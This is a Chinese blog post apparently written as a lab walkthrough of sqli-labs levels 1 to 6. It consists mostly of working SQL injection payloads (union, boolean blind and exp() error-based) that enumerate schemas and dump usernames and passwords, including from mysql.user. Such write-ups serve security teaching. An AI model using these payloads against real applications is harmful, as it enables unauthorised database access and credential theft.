SQL注入详解 1-6关

最新推荐文章于 2024-04-22 20:38:19 发布
最新推荐文章于 2024-04-22 20:38:19 发布
阅读量774 收藏 7
点赞数 3
分类专栏： Mysql注入天书 文章标签： sql mysql 数据库 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45744814/article/details/120354621
版权

目录

less-1（联合注入，跨库查询）

主页如图，输入参数id出存在sql注入
在这里插入图片描述

  1. 判断注入类型
    输入1’让其报错，从报错信息我们可以看到这可能是单引号字符型注入
    在这里插入图片描述
  2. 验证注入类型
#页面返回正常
1' and 1=1--+

在这里插入图片描述

#页面返回不正常
1' and 1=2--+

在这里插入图片描述
所以该注入类型为单引号字符型

  1. 确定字段数
#返回正常
1' order by 3--+

在这里插入图片描述

#返回异常
1' order by 4--+

在这里插入图片描述
多以可以看出该字段数为3

  1. 确定显示位置
-1' union select 1,2,3--+

在这里插入图片描述

  1. 查询数据库基本信息
#MySQL数据库版本
version()

#数据库用户名
user()

#数据库名
database()

#数据库路径
@@datadir

#操作系统版本
@@version_compile_os

-1' union select 1,version(),user()--+

在这里插入图片描述

-1' union select 1,database(),@@datadir--+

在这里插入图片描述

-1' union select 1,2,@@version_compile_os--+

在这里插入图片描述

  1. 查询所有数据库名
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

在这里插入图片描述

  1. 查询数据库’mysql’中所有的表（注意：查询的并不是当前数据库中表，当前数据库名为security）
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mysql'--+

在这里插入图片描述

  1. 查询数据库’mysql’中user表中所有的列
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='mysql'--+

在这里插入图片描述
9. 查询用户数据

-1' union select  1,User,3  from mysql.user --+

在这里插入图片描述

less-2（联合注入）

  1. 通过报错信息可以看出该注入为数字型注入
    在这里插入图片描述
  2. 验证注入类型
#页面返回正常
1 and 1=1--+

在这里插入图片描述

#页面返回不正常
1 and 1=2--+

在这里插入图片描述

  1. 判断字段数
1 order by 3

在这里插入图片描述

1 order by 4

在这里插入图片描述
可以看出注入的字段数为3

  1. 判断显示位置
-1 and union select 1,2,3

在这里插入图片描述

  1. 查询当前数据库名
-1 union select 1,2,database()

在这里插入图片描述

  1. 查询表名
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

在这里插入图片描述

  1. 查询列名
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

在这里插入图片描述

  1. 查询数据
-1 union select 1,group_concat(username),group_concat(password) from users

在这里插入图片描述

less-3（联合注入）

  1. 判断注入类型
    在这里插入图片描述
1') and 1=1--+

在这里插入图片描述

1') and 1=2--+

在这里插入图片描述

  1. 判断注入的字段数
1') order by 3--+

在这里插入图片描述

1') order by 4--+

在这里插入图片描述

  1. 判断显示位置
-1') union select 1,2,3--+

在这里插入图片描述

  1. 查询所有的库
-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+

在这里插入图片描述

  1. 查询数据库mysql中所有的表
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mysql'--+

在这里插入图片描述

  1. 查询列
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='mysql'--+

在这里插入图片描述

  1. 查询数据
-1') union select 1,group_concat(User),3 from mysql.user--+

在这里插入图片描述

less-4（联合注入）

  1. 判断注入类型
    在这里插入图片描述
1") and 1=1--+

在这里插入图片描述

1") and 1=2--+

在这里插入图片描述

  1. 判断字段数
1") order by 3--+

在这里插入图片描述

1") order by 4--+

在这里插入图片描述
3. 判断显示位置

-1") union select 1,2,3--+

在这里插入图片描述

-1") union select 1,2,database()--+

在这里插入图片描述
4. 查询当前数据库中所有的表

-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
5. 查询users表中所有的列

-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
6. 查询数据

-1") union select 1,group_concat(username),group_concat(password) from users--+

在这里插入图片描述

less-5（布尔盲注）

  1. 判断注入类型
    在这里插入图片描述
1' and 1=1--+

在这里插入图片描述

1' and 1=2 --+

在这里插入图片描述
2. 判断字段数

1' order by 3--+

在这里插入图片描述

1' order by 4--+

在这里插入图片描述

  1. 发现没有显示位置
-1' union select 1,2,3--+

在这里插入图片描述

  1. 猜解当前数据库名的长度
1' and length(database())=8--+

在这里插入图片描述

  1. 二分法查库名
    查询库名的第一个字母
1' and left(database(),1)>'a'--+
1' and left(database(),1)>'m'--+
1' and left(database(),1)>'u'--+
1' and left(database(),1)='s'--+
#所以库名的第一个字母为s

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

查询库名的第二个字母

1' and left(database(),2)>'sa'--+
1' and left(database(),2)>'sm'--+
1' and left(database(),2)>'se'--+
1' and left(database(),2)='se'--+
#所以库名的第二个字母为e

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
以此类推，当前库名为 ‘security’

  1. 猜解库security中表的个数
1' and (select count(table_name) from information_schema.tables where table_schema='security')=3--+
1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+

在这里插入图片描述
在这里插入图片描述
可以看出库security中有四个表

  1. 猜解第一个表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=5--+
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=6--+
#第一个表名的长度为6

在这里插入图片描述

在这里插入图片描述

  1. 二分法猜解第一个表名
    二分法查询第一个表的第一个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>110--+
1' and  ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
#所以第一个表名的第一个字母为e

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
二分法查询第一个表的第二个字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+
#这里和上述步骤一样,只是将函数substr()修改了一下，只选取第二个字母

在这里插入图片描述
以此类推，第一个表名为emails

  1. 二分法猜解第二个表名
    查询第二个表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1))=8--+

在这里插入图片描述

查询第二个表名的第一个字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+
#这里猜解步骤与前面相同，第一个字母为r

在这里插入图片描述

查询第二个表名的第二个字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+
#这里猜解步骤与前面相同，第一个字母为e

在这里插入图片描述
最后猜解出的表名为referers

以此类推可以猜解出4个表名emails,referers,uagents,users

  1. 猜解users表中的字段数
#与前面猜解表名方法相同，有三个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=3--+

在这里插入图片描述

  1. 猜解第一个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=2--+

在这里插入图片描述

  1. 二分法猜解第一个列名
    查询第一个列名的第一个字母，
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
#第一个列名的第一个字母为i

在这里插入图片描述

查询第一个列名的第二·个字母，

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=100--+
#第一个列名的第二个字母为d

在这里插入图片描述

以此类推，可以查询到所有列名id,username,password

  1. 查询password例中有多少个数据内容
1' and (select count(password) from users)=13--+

在这里插入图片描述

  1. 查询passwords列中第一个数据的长度
1' and length(substr((select password from users limit 0,1),1))=4--+

在这里插入图片描述

  1. 查数据内容
1' and left((select password from users limit 0,1),1)='D' --+
1' and left((select password from users limit 0,1),2)='Du'--+
1' and left((select password from users limit 0,1),3)='Dum'--+
1' and left((select password from users limit 0,1),4)='Dumb'--+

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
以此类推，可以查询到所有的数据

less-6（exp报错注入）

  1. 双引号字符型注入
    在这里插入图片描述
1" and 1=1--+

在这里插入图片描述

1" and 1=2--+

在这里插入图片描述

  1. 查看当前数据库
1" union select 1,2,exp(~(select * from (select database())a))--+

在这里插入图片描述

  1. 查看所有的列
1" union select 1,2,exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema='security')a))--+

在这里插入图片描述

  1. 查询users表中所有的列
1" union select 1,2,exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_name='users')a))--+

在这里插入图片描述

  1. 查询表users中username列中所有的数据
1" union select 1,2,exp(~(select * from (select group_concat(username) from users)a))--+

在这里插入图片描述

1" union select 1,2,exp(~(select * from (select group_concat(password) from users)a))--+

在这里插入图片描述

总结：
前四关是简单的联合注入，主要考察判断注入类型，注入类型的判断很重要。第五关与第六关主要考察盲注，这里也有很多的注入方法，布尔盲注，时间盲注。也可以使用报错注入(exp报错注入，updatexml报错注入，extractvalue()报错注入，floor()报错注入，)

君莫hacker
关注
  • 3
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
详解SQL注入--安全（二）
09-09
主要介绍了SQL注入安全，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧
SQL注入思路详解
12-14
一、SQL注入可以分为三个步骤 1.识别Web应用与数据库交互的可能输入（识别潜在注入点） 2.SQL注入语句测试 3.根据服务器返回判定注入语句是否影响了SQL执行结果以判断是否存在SQL注入     2.识别Web应用与数据库交互的可能输入点 GET请求参数 POST请求参数 Cookie X-Forword-For User-Agent Refer Host     3.SQL语句测试 由于现在许多web站点都受到WAF防护或者应用开发者自带的代码层Filter，在判断是否存在Sql注入时， 测试payload越简单越好   数字型 数字型 字符型 字符型
超级SQL注入工具-web-sql
10-28
超级SQL注入工具是一款基于HTTP协议自组包的SQL注入工具，支持出现在HTTP协议任意位置的SQL注入，支持各种类型的SQL注入 支持Bool型盲注、错误显示注入、Union注入，支持Access、MySQL5以上版本、SQLServer、Oracle等数据库。
php防止SQL注入详解及防范
10-26
SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是，开发者要同时犯两个错误才会引发一个SQL注入漏洞
SQL注入详解
11-02
sql注入详细教学ppt，解决你对sql注入的一切疑问，黑客第一步！
sqli-labs关卡6(基于get提交的双引号闭合的报错注入)通关思路
zyh1588的博客
10-26 174
小白回顾sqli-labs靶场第六关
浅谈SQL注入中的-1‘ union select 1,2,3#
qq_23667585的博客
10-09 7244
超详细的介绍了SQL注入语句中的 -1' union select 1,2,3# 的含义
SQL注入基础-易错问题汇总
weixin_30606461的博客
08-02 588
SQL注入基础-易错问题汇总 1.sql注入本质是什么 把用户输入当做代码执行 2.sql注入的条件 用户可控输入和原本程序要执行代码，拼接用户输入且当作SQL语句去执行 3.order by的作用及含义 order by 用于判断显示位，order by 原有的作用是对字段进行一个排序，在sql注入中用order by 来判断排序，order by 1就是对一个字段...
WEB安全的总结学习与心得（十）——SQL注入漏洞
weixin_44681434的博客
06-30 1060
WEB安全的总结学习与心得（十） 01 SQL注入漏洞之简介 属性 介绍 危害 获取数据库信息；获取后台隐私信息；植入Webshell,获取后门 漏洞类型 服务器端漏洞 02 SQL注入的过程 1.获取用户请求参数 2.精心构造代码拼接 3.SQL语句执行构造参数 03 SQL注入的本质 数据和代码未分离，即数据被当做了代码来执行。 ...
sqllabs
qq_51744055的博客
05-03 459
?id=1 ?id=1' 和第一个结果不同 ?id=1 and 1=1 和第一个结果相同 ?id=1 and 1=2 和第一个结果相同 ?id=1 order by 3 和第一个结果相同 ?id=1 order by 100000 为什么结果都和第一个一样 ?id=-1 union 1,2,3 什么都不输出 ?id=1 union select 1,database(),3 和第一个一样 ?id=1' and 1=2 --+ 无输出 ?id=-1 union select 1,group_concat(t
SQL注入详解（扫盲篇）
09-09
刚进公司的时候，研究的主要是SQL注入，因为之前没有搞过安全，所有费了好长一段时间对SQL注入基本知识进行了解。所以这篇文章并不是什么很深入的技术博客，或许应该叫它‘ SQL注入扫盲 ’有需要的朋友可以参考学习，下面来一起看看吧。
sql注入学习笔记1
qq_61109509的博客
02-06 2756
[极客大挑战 2019]EASYSQL 根据提示，用户名就是cl4y,密码试一试万能密码。出现flag [强网杯 2019]随便注 先试试万能密码 再看下字段数,是两列 使用union联合查询检测信息回显位置,发现它过滤了select 学习一波堆叠注入 与仅限于SELECT语句的UNION联合查询攻击不同，堆叠注入可以用于执行任何SQL语句 首先展示所有数据库 没有我们想要的信息，那就展示一下所有的表 查看第一个表的信息 1;desc `191981093..
说说漏洞检测的那些事儿
weixin_30443075的博客
06-07 314
说说漏洞检测的那些事儿 好像很久没发文了，近日心血来潮准备谈谈 “漏洞检测的那些事儿”。现在有一个现象就是一旦有危害较高的漏洞的验证 PoC 或者利用 EXP 被公布出来，就会有一大群饥渴难忍的帽子们去刷洞，对于一个路人甲的我来说，看得有点眼红。 刷洞归刷洞，蛋还是要扯的。漏洞从披露到研究员分析验证，再到 PoC 编写，进而到大规模扫描检测，在这环环相扣的漏洞应急生命周期中，我认...
SQL——labs第5、6关(报错注入)
m0_72471814的博客
07-27 125
第二步：正确之后页面只有一个you are in。第六步:爆破账号密码。
sqli-labs通关笔记第二关
最新发布
m0_66169375的博客
04-22 210
limit后面的第一个参数表示从第几+1行开始查，第二个参数表示查几条数据。11,利用sql爆出username,password列的值。id=1 and 1=1 回显正常，判断为数字型。9,利用sql爆破出user数据表内的列名。6,爆破出security数据库内的表名。7,如果上一步没有爆出数据库名，也可以。id=1 and 1=2回显错误。eg:3,2 第四行，取两行。2,判断注入类型，字符型，数值型。1，传入id=1 查看页面回显。5，爆破出数据库内的数据库名。4，查数据库名和版本号。
mysql 注入 表明,mysql注入
weixin_31411315的博客
03-17 198
测试dvwa总结 ：1.判断一个数据库(php + MySQL )有注入点2.遍历这个注入点所在的表的所有记录 .3.查询当前数据库所在的表中有几个字段通过利用内置函数，user(), database(), version() 得出连接数据库的用户和连接信息通过利用内置函数，获取操作系统信息1'and 1=2 union select 1,@@global.version_compile_os...
SQL注入进阶-order by注入
AkangBoy的博客
11-06 8092
本文从order by原理简介开始，详细描述了order by注入原理以及多种注入姿势，包含order by union select注入、order by if()注入、order by sleep()注入、order by报错注入。
SQL注入Playload List
qq_52014772的博客
07-22 1054
SQL注入是一个网络安全漏洞，它使攻击者能够干扰应用程序对其数据库的查询。 SQL注入类型 类型 描述 In-band SQLi (Classic SQLi) In-band SQLi注入是SQL注入攻击中最常见和最容易利用的。当攻击者能够使用相同的查询发起攻击并收集结果时，就会发生In-band SQLi注入。In-band SQLi注入的两种最常见类型是基于错误的SQLi和基于联合的SQLi。 Error-based SQLi 基于错误的SQLi是一种In-band..
★SQL注入漏洞（2）注入方法2 union联合注入
weixin_51339377的博客
03-18 1620
1.估算目标的数据库语法(可能性很多) select username,password from tablex where id=' 2\' limit 0,1 select username,password from tablex where id=2 limit 0,1 select username,password from tablex where id=(2) limit 0,1 2.黑客需要破坏数据库语句目的是为了知道数据库的闭合方式 一旦出现报错即破环成功 这个世界上...
sql注入payload
09-01
- *1* [SQL注入思路详解](https://download.csdn.net/download/weixin_38550812/13687286)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值